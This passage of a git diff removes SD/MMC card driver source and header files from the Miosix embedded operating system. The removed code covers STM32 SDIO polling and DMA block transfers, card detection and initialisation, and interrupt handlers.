IRQsendDataBlock(), otherwise IRQsendDataBlock() - // will fail because of data underrun. - const unsigned int *bufend=buffer+size; - unsigned int status; - for(;;) - { - status=SDIO->STA; - if(status & (SDIO_STA_RXOVERR | SDIO_STA_DCRCFAIL | - SDIO_STA_DTIMEOUT | SDIO_STA_STBITERR | SDIO_STA_DBCKEND)) break; - if((status & SDIO_STA_RXFIFOHF) && (buffer!=bufend)) - { - //Read 8 words from the fifo, loop entirely unrolled for speed - *buffer=SDIO->FIFO; buffer++; - *buffer=SDIO->FIFO; buffer++; - *buffer=SDIO->FIFO; buffer++; - *buffer=SDIO->FIFO; buffer++; - *buffer=SDIO->FIFO; buffer++; - *buffer=SDIO->FIFO; buffer++; - *buffer=SDIO->FIFO; buffer++; - *buffer=SDIO->FIFO; buffer++; - } - } - SDIO->ICR=0x7ff;//Clear flags - if(status & SDIO_STA_RXOVERR) return DataResult(DataResult::RXOverrun); - if(status & SDIO_STA_DCRCFAIL) return DataResult(DataResult::CRCFail); - if(status & SDIO_STA_DTIMEOUT) return DataResult(DataResult::Timeout); - if(status & SDIO_STA_STBITERR) return DataResult(DataResult::StartBitFail); - //Read eventual data left in the FIFO - for(;;) - { - if((SDIO->STA & SDIO_STA_RXDAVL)==0) break; - *buffer=SDIO->FIFO; buffer++; - } - return DataResult(DataResult::Ok); -} - -/** - * \internal - * Send a data block. The end of the data block must be told to the SDIO - * peripheral in SDIO->DLEN and must match the size parameter given to this - * function. - * \param buffer buffer where to store received data. Its size must be >=size - * \param buffer size, which *must* be multiple of 8 words (32bytes). - * Note that the size parameter must be expressed in word (4bytes), while - * the value in SDIO->DLEN is expressed in bytes. - * \return a DataResult object - */ -static DataResult IRQsendDataBlock(const unsigned int *buffer, unsigned int size) -{ - // A note on speed. - // Due to the auto calibration of SDIO clock speed being done with - // IRQreceiveDataBlock(), the speed of this function must be comparable - // with the speed of IRQreceiveDataBlock(), otherwise this function - // will fail because of data underrun. - const unsigned int *bufend=buffer+size; - unsigned int status; - for(;;) - { - status=SDIO->STA; - if(status & (SDIO_STA_TXUNDERR | SDIO_STA_DCRCFAIL | - SDIO_STA_DTIMEOUT | SDIO_STA_STBITERR | SDIO_STA_DBCKEND)) break; - if((status & SDIO_STA_TXFIFOHE) && (buffer!=bufend)) - { - //Write 8 words to the fifo, loop entirely unrolled for speed - SDIO->FIFO=*buffer; buffer++; - SDIO->FIFO=*buffer; buffer++; - SDIO->FIFO=*buffer; buffer++; - SDIO->FIFO=*buffer; buffer++; - SDIO->FIFO=*buffer; buffer++; - SDIO->FIFO=*buffer; buffer++; - SDIO->FIFO=*buffer; buffer++; - SDIO->FIFO=*buffer; buffer++; - } - } - SDIO->ICR=0x7ff;//Clear flags - if(status & SDIO_STA_TXUNDERR) return DataResult(DataResult::TXUnderrun); - if(status & SDIO_STA_DCRCFAIL) return DataResult(DataResult::CRCFail); - if(status & SDIO_STA_DTIMEOUT) return DataResult(DataResult::Timeout); - if(status & SDIO_STA_STBITERR) return DataResult(DataResult::StartBitFail); - return DataResult(DataResult::Ok); -} - -/** - * \internal - * Read a single block of 512 bytes from an SD/MMC card. - * Card must be selected prior to caling this function. - * \param buffer, a buffer whose size is >=512 bytes, word aligned - * \param lba logical block address of the block to read. - */ -static bool singleBlockRead(unsigned int *buffer, unsigned int lba) -{ - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - - if(waitForCardReady()==false) return false; - - CmdResult cr; - DataResult dr; - bool failed=true; - for(;;) - { - // Since we read with polling, a context switch or interrupt here - // would cause a fifo overrun, so we disable interrupts. - FastInterruptDisableLock dLock; - - SDIO->DLEN=512; - //Block size 512 bytes, block data xfer, from card to controller - SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DTDIR | SDIO_DCTRL_DTEN; - - cr=Command::IRQsend(Command::CMD17,lba); - if(cr.IRQvalidateR1Response()) - { - dr=IRQreceiveDataBlock(buffer,512/sizeof(unsigned int)); - SDIO->DCTRL=0; //Disable data path state machine - - //If failed because too slow check if it is possible to reduce speed - if(dr.getError()==DataResult::RXOverrun) - { - if(ClockController::IRQreduceClockSpeed()) - { - //Disabling interrupts for too long is bad - FastInterruptEnableLock eLock(dLock); - //After an error during data xfer the card might be a little - //confused. So send STOP_TRANSMISSION command to reassure it - cr=Command::send(Command::CMD12,0); - if(cr.validateR1Response()) continue; - } - } - - if(dr.getError()==DataResult::Ok) failed=false; - } - break; - } - if(failed) - { - cr.validateR1Response(); - dr.validateError(); - //After an error during data xfer the card might be a little - //confused. So send STOP_TRANSMISSION command to reassure it - cr=Command::send(Command::CMD12,0); - cr.validateR1Response(); - return false; - } - return true; -} - -/** - * \internal - * Write a single block of 512 bytes to an SD/MMC card - * Card must be selected prior to caling this function. - * \param buffer, a buffer whose size is >=512 bytes - * \param lba logical block address of the block to write. - */ -static bool singleBlockWrite(const unsigned int *buffer, unsigned int lba) -{ - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - - if(waitForCardReady()==false) return false; - - bool failed=true; - CmdResult cr; - DataResult dr; - for(;;) - { - // Since we write with polling, a context switch or interrupt here - // would cause a fifo overrun, so we disable interrupts. - FastInterruptDisableLock dLock; - - cr=Command::IRQsend(Command::CMD24,lba); - if(cr.IRQvalidateR1Response()) - { - SDIO->DLEN=512; - //Block size 512 bytes, block data xfer, from controller to card - SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DTEN; - - dr=IRQsendDataBlock(buffer,512/sizeof(unsigned int)); - SDIO->DCTRL=0; //Disable data path state machine - - //If failed because too slow check if it is possible to reduce speed - if(dr.getError()==DataResult::TXUnderrun) - { - if(ClockController::IRQreduceClockSpeed()) - { - //Disabling interrupts for too long is bad - FastInterruptEnableLock eLock(dLock); - //After an error during data xfer the card might be a little - //confused. So send STOP_TRANSMISSION command to reassure it - cr=Command::send(Command::CMD12,0); - if(cr.validateR1Response()) continue; - } - } - - if(dr.getError()==DataResult::Ok) failed=false; - } - break; - } - if(failed) - { - cr.validateR1Response(); - dr.validateError(); - //After an error during data xfer the card might be a little - //confused. So send STOP_TRANSMISSION command to reassure it - cr=Command::send(Command::CMD12,0); - cr.validateR1Response(); - return false; - } - return true; -} - -#else //__ENABLE_XRAM - -/** - * \internal - * Prints the errors that may occur during a DMA transfer - */ -static void displayBlockTransferError() -{ - DBGERR("Block transfer error\n"); - if(dmaFlags & DMA_ISR_TEIF4) DBGERR("* DMA Transfer error\n"); - if(sdioFlags & SDIO_STA_STBITERR) DBGERR("* SDIO Start bit error\n"); - if(sdioFlags & SDIO_STA_RXOVERR) DBGERR("* SDIO RX Overrun\n"); - if(sdioFlags & SDIO_STA_TXUNDERR) DBGERR("* SDIO TX Underrun error\n"); - if(sdioFlags & SDIO_STA_DCRCFAIL) DBGERR("* SDIO Data CRC fail\n"); - if(sdioFlags & SDIO_STA_DTIMEOUT) DBGERR("* SDIO Data timeout\n"); -} - -/** - * \internal - * Read a given number of contiguous 512 byte blocks from an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes, word aligned - * \param nblk number of blocks to read. - * \param lba logical block address of the first block to read. - */ -static bool multipleBlockRead(unsigned int *buffer, unsigned int nblk, - unsigned int lba) -{ - if(nblk==0) return true; - while(nblk>511) - { - if(multipleBlockRead(buffer,511,lba)==false) return false; - buffer+=511*512; - nblk-=511; - lba+=511; - } - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - - //Clear both SDIO and DMA interrupt flags - SDIO->ICR=0x7ff; - DMA2->IFCR=DMA_IFCR_CGIF4; - - transferError=false; - dmaFlags=sdioFlags=0; - waiting=Thread::getCurrentThread(); - - //Data transfer is considered complete once the DMA transfer complete - //interrupt occurs, that happens when the last data was written in the - //buffer. Both SDIO and DMA error interrupts are active to catch errors - SDIO->MASK=SDIO_MASK_STBITERRIE | //Interrupt on start bit error - SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun - SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout - DMA2_Channel4->CPAR=reinterpret_cast(&SDIO->FIFO); - DMA2_Channel4->CMAR=reinterpret_cast(buffer); - DMA2_Channel4->CNDTR=nblk*512/sizeof(unsigned int); - DMA2_Channel4->CCR=DMA_CCR_PL_1 | //High priority DMA stream - DMA_CCR_MSIZE_1 | //Write 32bit at a time to RAM - DMA_CCR_PSIZE_1 | //Read 32bit at a time from SDIO - DMA_CCR_MINC | //Increment RAM pointer - 0 | //Peripheral to memory direction - DMA_CCR_TCIE | //Interrupt on transfer complete - DMA_CCR_TEIE | //Interrupt on transfer error - DMA_CCR_EN; //Start the DMA - - SDIO->DLEN=nblk*512; - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); - if(cr.validateR1Response()) - { - //Block size 512 bytes, block data xfer, from card to controller - SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTDIR | SDIO_DCTRL_DTEN; - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - } else transferError=true; - DMA2_Channel4->CCR=0; - while(DMA2_Channel4->CCR & DMA_CCR_EN) ; //DMA may take time to stop - SDIO->DCTRL=0; //Disable data path state machine - SDIO->MASK=0; - - // CMD12 is sent to end CMD18 (multiple block read), or to abort an - // unfinished read in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - return true; -} - -/** - * \internal - * Write a given number of contiguous 512 byte blocks to an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes, word aligned - * \param nblk number of blocks to write. - * \param lba logical block address of the first block to write. - */ -static bool multipleBlockWrite(const unsigned int *buffer, unsigned int nblk, - unsigned int lba) -{ - if(nblk==0) return true; - while(nblk>511) - { - if(multipleBlockWrite(buffer,511,lba)==false) return false; - buffer+=511*512; - nblk-=511; - lba+=511; - } - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - if(nblk>1) - { - CmdResult cr=Command::send(Command::ACMD23,nblk); - if(cr.validateR1Response()==false) return false; - } - - //Clear both SDIO and DMA interrupt flags - SDIO->ICR=0x7ff; - DMA2->IFCR=DMA_IFCR_CGIF4; - - transferError=false; - dmaFlags=sdioFlags=0; - waiting=Thread::getCurrentThread(); - - //Data transfer is considered complete once the SDIO transfer complete - //interrupt occurs, that happens when the last data was written to the SDIO - //Both SDIO and DMA error interrupts are active to catch errors - SDIO->MASK=SDIO_MASK_DATAENDIE | //Interrupt on data end - SDIO_MASK_STBITERRIE | //Interrupt on start bit error - SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun - SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout - DMA2_Channel4->CPAR=reinterpret_cast(&SDIO->FIFO); - DMA2_Channel4->CMAR=reinterpret_cast(buffer); - DMA2_Channel4->CNDTR=nblk*512/sizeof(unsigned int); - DMA2_Channel4->CCR=DMA_CCR_PL_1 | //High priority DMA stream - DMA_CCR_MSIZE_1 | //Read 32bit at a time from RAM - DMA_CCR_PSIZE_1 | //Write 32bit at a time to SDIO - DMA_CCR_MINC | //Increment RAM pointer - DMA_CCR_DIR | //Memory to peripheral direction - DMA_CCR_TEIE | //Interrupt on transfer error - DMA_CCR_EN; //Start the DMA - - SDIO->DLEN=nblk*512; - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); - if(cr.validateR1Response()) - { - //Block size 512 bytes, block data xfer, from card to controller - SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTEN; - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - } else transferError=true; - DMA2_Channel4->CCR=0; - while(DMA2_Channel4->CCR & DMA_CCR_EN) ; //DMA may take time to stop - SDIO->DCTRL=0; //Disable data path state machine - SDIO->MASK=0; - - // CMD12 is sent to end CMD25 (multiple block write), or to abort an - // unfinished write in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - return true; -} -#endif //__ENABLE_XRAM - -// -// Class CardSelector -// - -#ifndef SD_KEEP_CARD_SELECTED -/** - * \internal - * Simple RAII class for selecting an SD/MMC card an automatically deselect it - * at the end of the scope. - */ -class CardSelector -{ -public: - /** - * \internal - * Constructor. Selects the card. - * The result of the select operation is available through its succeded() - * member function - */ - explicit CardSelector() - { - success=Command::send( - Command::CMD7,Command::getRca()<<16).validateR1Response(); - } - - /** - * \internal - * \return true if the card was selected, false on error - */ - bool succeded() { return success; } - - /** - * \internal - * Destructor, ensures that the card is deselected - */ - ~CardSelector() - { - Command::send(Command::CMD7,0); //Deselect card. This will timeout - } - -private: - bool success; -}; -#endif //SD_KEEP_CARD_SELECTED - -// -// Initialization helper functions -// - -/** - * \internal - * Initialzes the SDIO peripheral in the STM32 - */ -static void initSDIOPeripheral() -{ - { - //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe - FastInterruptDisableLock lock; - RCC->APB2ENR |= RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN; - RCC_SYNC(); - #ifdef __ENABLE_XRAM - RCC->AHBENR |= RCC_AHBENR_SDIOEN; - #else //__ENABLE_XRAM - RCC->AHBENR |= RCC_AHBENR_SDIOEN | RCC_AHBENR_DMA2EN; - #endif //__ENABLE_XRAM - RCC_SYNC(); - sdD0::mode(Mode::ALTERNATE); - sdD1::mode(Mode::ALTERNATE); - sdD2::mode(Mode::ALTERNATE); - sdD3::mode(Mode::ALTERNATE); - sdCLK::mode(Mode::ALTERNATE); - sdCMD::mode(Mode::ALTERNATE); - } - #ifndef __ENABLE_XRAM - NVIC_SetPriority(DMA2_Channel4_5_IRQn,15);//Low priority for DMA - NVIC_EnableIRQ(DMA2_Channel4_5_IRQn); - NVIC_SetPriority(SDIO_IRQn,15);//Low priority for SDIO - NVIC_EnableIRQ(SDIO_IRQn); - #endif //__ENABLE_XRAM - - SDIO->POWER=0; //Power off state - delayUs(1); - SDIO->CLKCR=0; - SDIO->CMD=0; - SDIO->DCTRL=0; - SDIO->ICR=0xc007ff; - SDIO->POWER=SDIO_POWER_PWRCTRL_1 | SDIO_POWER_PWRCTRL_0; //Power on state - //This delay is particularly important: when setting the POWER register a - //glitch on the CMD pin happens. This glitch has a fast fall time and a slow - //rise time resembling an RC charge with a ~6us rise time. If the clock is - //started too soon, the card sees a clock pulse while CMD is low, and - //interprets it as a start bit. No, setting POWER to powerup does not - //eliminate the glitch. - delayUs(10); - ClockController::setLowSpeedClock(); - //Wait at least 74 clock cycles before first command - Thread::nanoSleep(250000); -} - -/** - * \internal - * Detect if the card is an SDHC, SDv2, SDv1, MMC - * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC - * or Invalid if card detect failed. - */ -static CardType detectCardType() -{ - const int INIT_TIMEOUT=200; //200*10ms= 2 seconds - CmdResult r=Command::send(Command::CMD8,0x1aa); - if(r.validateError()) - { - //We have an SDv2 card connected - if(r.getResponse()!=0x1aa) - { - DBGERR("CMD8 validation: voltage range fail\n"); - return Invalid; - } - for(int i=0;i SDIODriver::instance() -{ - static FastMutex m; - static intrusive_ref_ptr instance; - Lock l(m); - if(!instance) instance=new SDIODriver(); - return instance; -} - -ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); - bool aligned=BufferConverter::isWordAligned(buffer); - if(aligned==false) DBG("Buffer misaligned\n"); - - for(int i=0;i(buffer); - unsigned int tempLba=lba; - for(unsigned int j=0;j(buffer), - nSectors,lba)==false) error=true; - } else { - unsigned char *tempBuffer=reinterpret_cast(buffer); - unsigned int tempLba=lba; - for(unsigned int j=0;j0) DBGERR("Read: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); - bool aligned=BufferConverter::isWordAligned(buffer); - if(aligned==false) DBG("Buffer misaligned\n"); - - for(int i=0;i(buffer); - unsigned int tempLba=lba; - for(unsigned int j=0;j(buffer), - nSectors,lba)==false) error=true; - } else { - const unsigned char *tempBuffer= - reinterpret_cast(buffer); - unsigned int tempLba=lba; - for(unsigned int j=0;j0) DBGERR("Write: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -int SDIODriver::ioctl(int cmd, void* arg) -{ - DBG("SDIODriver::ioctl()\n"); - if(cmd!=IOCTL_SYNC) return -ENOTTY; - Lock l(mutex); - //Note: no need to select card, since status can be queried even with card - //not selected. - return waitForCardReady() ? 0 : -EFAULT; -} - -SDIODriver::SDIODriver() : Device(Device::BLOCK) -{ - initSDIOPeripheral(); - - // This is more important than it seems, since CMD55 requires the card's RCA - // as argument. During initalization, after CMD0 the card has an RCA of zero - // so without this line ACMD41 will fail and the card won't be initialized. - Command::setRca(0); - - //Send card reset command - CmdResult r=Command::send(Command::CMD0,0); - if(r.validateError()==false) return; - - cardType=detectCardType(); - if(cardType==Invalid) return; //Card detect failed - if(cardType==MMC) return; //MMC cards currently unsupported - - // Now give an RCA to the card. In theory we should loop and enumerate all - // the cards but this driver supports only one card. - r=Command::send(Command::CMD2,0); - //CMD2 sends R2 response, whose CMDINDEX field is wrong - if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) - { - r.validateError(); - return; - } - r=Command::send(Command::CMD3,0); - if(r.validateR6Response()==false) return; - Command::setRca(r.getResponse()>>16); - DBG("Got RCA=%u\n",Command::getRca()); - if(Command::getRca()==0) - { - //RCA=0 can't be accepted, since it is used to deselect cards - DBGERR("RCA=0 is invalid\n"); - return; - } - - //Lastly, try selecting the card and configure the latest bits - { - #ifndef SD_KEEP_CARD_SELECTED - CardSelector selector; - if(selector.succeded()==false) return; - #else //SD_KEEP_CARD_SELECTED - //Select card here, and keep it selected indefinitely - r=Command::send(Command::CMD7,Command::getRca()<<16); - if(r.validateR1Response()==false) return; - #endif //SD_KEEP_CARD_SELECTED - - r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status - if(r.validateR1Response()==false) return; - if(r.getState()!=4) //4=Tran state - { - DBGERR("CMD7 was not able to select card\n"); - return; - } - - r=Command::send(Command::ACMD6,2); //Set 4 bit bus width - if(r.validateR1Response()==false) return; - - if(cardType!=SDHC) - { - r=Command::send(Command::CMD16,512); //Set 512Byte block length - if(r.validateR1Response()==false) return; - } - } - - // Now that card is initialized, perform self calibration of maximum - // possible read/write speed. This as a side effect enables 4bit bus width. - ClockController::calibrateClockSpeed(this); - - DBG("SDIO init: Success\n"); -} - -} //namespace miosix diff --git a/miosix/arch/common/drivers/sd_stm32f1.h b/miosix/arch/common/drivers/sd_stm32f1.h deleted file mode 100644 index f9b0627d3..000000000 --- a/miosix/arch/common/drivers/sd_stm32f1.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef SD_STM32F1_H -#define SD_STM32F1_H - -#include "kernel/sync.h" -#include "filesystem/devfs/devfs.h" -#include "filesystem/ioctl.h" - -namespace miosix { - -/** - * Driver for the SDIO peripheral in STM32F1 microcontrollers - */ -class SDIODriver : public Device -{ -public: - /** - * \return an instance to this class, singleton - */ - static intrusive_ref_ptr instance(); - - virtual ssize_t readBlock(void *buffer, size_t size, off_t where); - - virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - virtual int ioctl(int cmd, void *arg); -private: - /** - * Constructor - */ - SDIODriver(); - - FastMutex mutex; -}; - -} //namespace miosix - -#endif //SD_STM32F1_H diff --git a/miosix/arch/common/drivers/sd_stm32f2_f4_f7.cpp b/miosix/arch/common/drivers/sd_stm32f2_f4_f7.cpp deleted file mode 100644 index b8e2b6d23..000000000 --- a/miosix/arch/common/drivers/sd_stm32f2_f4_f7.cpp +++ /dev/null @@ -1,1618 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "sd_stm32f2_f4_f7.h" -#include "interfaces/bsp.h" -#include "interfaces/arch_registers.h" -#include "core/cache_cortexMx.h" -#include "kernel/scheduler/scheduler.h" -#include "interfaces/delays.h" -#include "kernel/kernel.h" -#include "board_settings.h" //For sdVoltage and SD_ONE_BIT_DATABUS definitions -#include -#include -#include - -//Note: enabling debugging might cause deadlock when using sleep() or reboot() -//The bug won't be fixed because debugging is only useful for driver development -///\internal Debug macro, for normal conditions -//#define DBG iprintf -#define DBG(x,...) do {} while(0) -///\internal Debug macro, for errors only -//#define DBGERR iprintf -#define DBGERR(x,...) do {} while(0) - -/* - * The SDMMC1 peripheral in the STM32F7 is basically the old SDIO with the - * registers renamed and a few bits changed. Let's map the old names in the new - */ -#if defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) - -#if SD_SDMMC==1 -#define SDIO SDMMC1 -#define RCC_APB2ENR_SDIOEN RCC_APB2ENR_SDMMC1EN -#define SDIO_IRQn SDMMC1_IRQn -#elif SD_SDMMC==2 -#define SDIO SDMMC2 -#define RCC_APB2ENR_SDIOEN RCC_APB2ENR_SDMMC2EN -#define SDIO_IRQn SDMMC2_IRQn -#else -#error SD_SDMMC undefined or not in range -#endif - -#define SDIO_STA_STBITERR 0 //This bit has been removed -#define SDIO_STA_RXOVERR SDMMC_STA_RXOVERR -#define SDIO_STA_TXUNDERR SDMMC_STA_TXUNDERR -#define SDIO_STA_DTIMEOUT SDMMC_STA_DTIMEOUT -#define SDIO_STA_DCRCFAIL SDMMC_STA_DCRCFAIL -#define SDIO_STA_CMDSENT SDMMC_STA_CMDSENT -#define SDIO_STA_CMDREND SDMMC_STA_CMDREND -#define SDIO_STA_CCRCFAIL SDMMC_STA_CCRCFAIL -#define SDIO_STA_CTIMEOUT SDMMC_STA_CTIMEOUT - -#define SDIO_CMD_CPSMEN SDMMC_CMD_CPSMEN -#define SDIO_CMD_WAITRESP_0 SDMMC_CMD_WAITRESP_0 -#define SDIO_CMD_WAITRESP_1 SDMMC_CMD_WAITRESP_1 - -#define SDIO_ICR_CTIMEOUTC SDMMC_ICR_CTIMEOUTC -#define SDIO_ICR_CCRCFAILC SDMMC_ICR_CCRCFAILC - -#define SDIO_CLKCR_CLKEN SDMMC_CLKCR_CLKEN -#define SDIO_CLKCR_PWRSAV SDMMC_CLKCR_PWRSAV -#define SDIO_CLKCR_WIDBUS_0 SDMMC_CLKCR_WIDBUS_0 -#define SDIO_CLKCR_HWFC_EN SDMMC_CLKCR_HWFC_EN - -#define SDIO_MASK_STBITERRIE 0 //This bit has been removed -#define SDIO_MASK_RXOVERRIE SDMMC_MASK_RXOVERRIE -#define SDIO_MASK_TXUNDERRIE SDMMC_MASK_TXUNDERRIE -#define SDIO_MASK_DCRCFAILIE SDMMC_MASK_DCRCFAILIE -#define SDIO_MASK_DTIMEOUTIE SDMMC_MASK_DTIMEOUTIE -#define SDIO_MASK_DATAENDIE SDMMC_MASK_DATAENDIE - -#define SDIO_DCTRL_DMAEN SDMMC_DCTRL_DMAEN -#define SDIO_DCTRL_DTDIR SDMMC_DCTRL_DTDIR -#define SDIO_DCTRL_DTEN SDMMC_DCTRL_DTEN - -#define SDIO_POWER_PWRCTRL_1 SDMMC_POWER_PWRCTRL_1 -#define SDIO_POWER_PWRCTRL_0 SDMMC_POWER_PWRCTRL_0 - -constexpr int ICR_FLAGS_CLR=0x5ff; - -#else //defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) - -constexpr int ICR_FLAGS_CLR=0x7ff; - -#endif //defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) - -#if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 -#define DMA_Stream DMA2_Stream0 -#else -#define DMA_Stream DMA2_Stream3 -#endif - -/** - * \internal - * DMA2 Stream interrupt handler - */ -#if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 -void __attribute__((naked)) DMA2_Stream0_IRQHandler() -#else -void __attribute__((naked)) DMA2_Stream3_IRQHandler() -#endif -{ - saveContext(); - asm volatile("bl _ZN6miosix12SDDMAirqImplEv"); - restoreContext(); -} - -/** - * \internal - * SDIO interrupt handler - */ -#if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==1 -void __attribute__((naked)) SDMMC1_IRQHandler() -#elif (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 -void __attribute__((naked)) SDMMC2_IRQHandler() -#else //stm32f2 and stm32f4 -void __attribute__((naked)) SDIO_IRQHandler() -#endif -{ - saveContext(); - asm volatile("bl _ZN6miosix9SDirqImplEv"); - restoreContext(); -} - -namespace miosix { - -static volatile bool transferError; ///< \internal DMA or SDIO transfer error -static Thread *waiting; ///< \internal Thread waiting for transfer -static unsigned int dmaFlags; ///< \internal DMA status flags -static unsigned int sdioFlags; ///< \internal SDIO status flags - -/** - * \internal - * DMA2 Stream3 interrupt handler actual implementation - */ -void __attribute__((used)) SDDMAirqImpl() -{ - dmaFlags=DMA2->LISR; - #if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 - if(dmaFlags & (DMA_LISR_TEIF0 | DMA_LISR_DMEIF0 | DMA_LISR_FEIF0)) - transferError=true; - - DMA2->LIFCR = DMA_LIFCR_CTCIF0 - | DMA_LIFCR_CTEIF0 - | DMA_LIFCR_CDMEIF0 - | DMA_LIFCR_CFEIF0; - #else - if(dmaFlags & (DMA_LISR_TEIF3 | DMA_LISR_DMEIF3 | DMA_LISR_FEIF3)) - transferError=true; - - DMA2->LIFCR = DMA_LIFCR_CTCIF3 - | DMA_LIFCR_CTEIF3 - | DMA_LIFCR_CDMEIF3 - | DMA_LIFCR_CFEIF3; - #endif - - if(!waiting) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=0; -} - -/** - * \internal - * DMA2 Stream3 interrupt handler actual implementation - */ -void __attribute__((used)) SDirqImpl() -{ - sdioFlags=SDIO->STA; - - #ifdef SDIO_STA_STBITERR - //Some STM32 chips leave this flag reserved, in that case it's left - //undefined in the CMSIS headers - if(sdioFlags & SDIO_STA_STBITERR) - transferError=true; - #endif - if(sdioFlags & (SDIO_STA_RXOVERR | SDIO_STA_TXUNDERR | - SDIO_STA_DTIMEOUT | SDIO_STA_DCRCFAIL)) - transferError=true; - - SDIO->ICR=ICR_FLAGS_CLR; //Clear flags - - if(!waiting) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=0; -} - -/* - * Operating voltage of device. It is sent to the SD card to check if it can - * work at this voltage. Range *must* be within 28..36 - 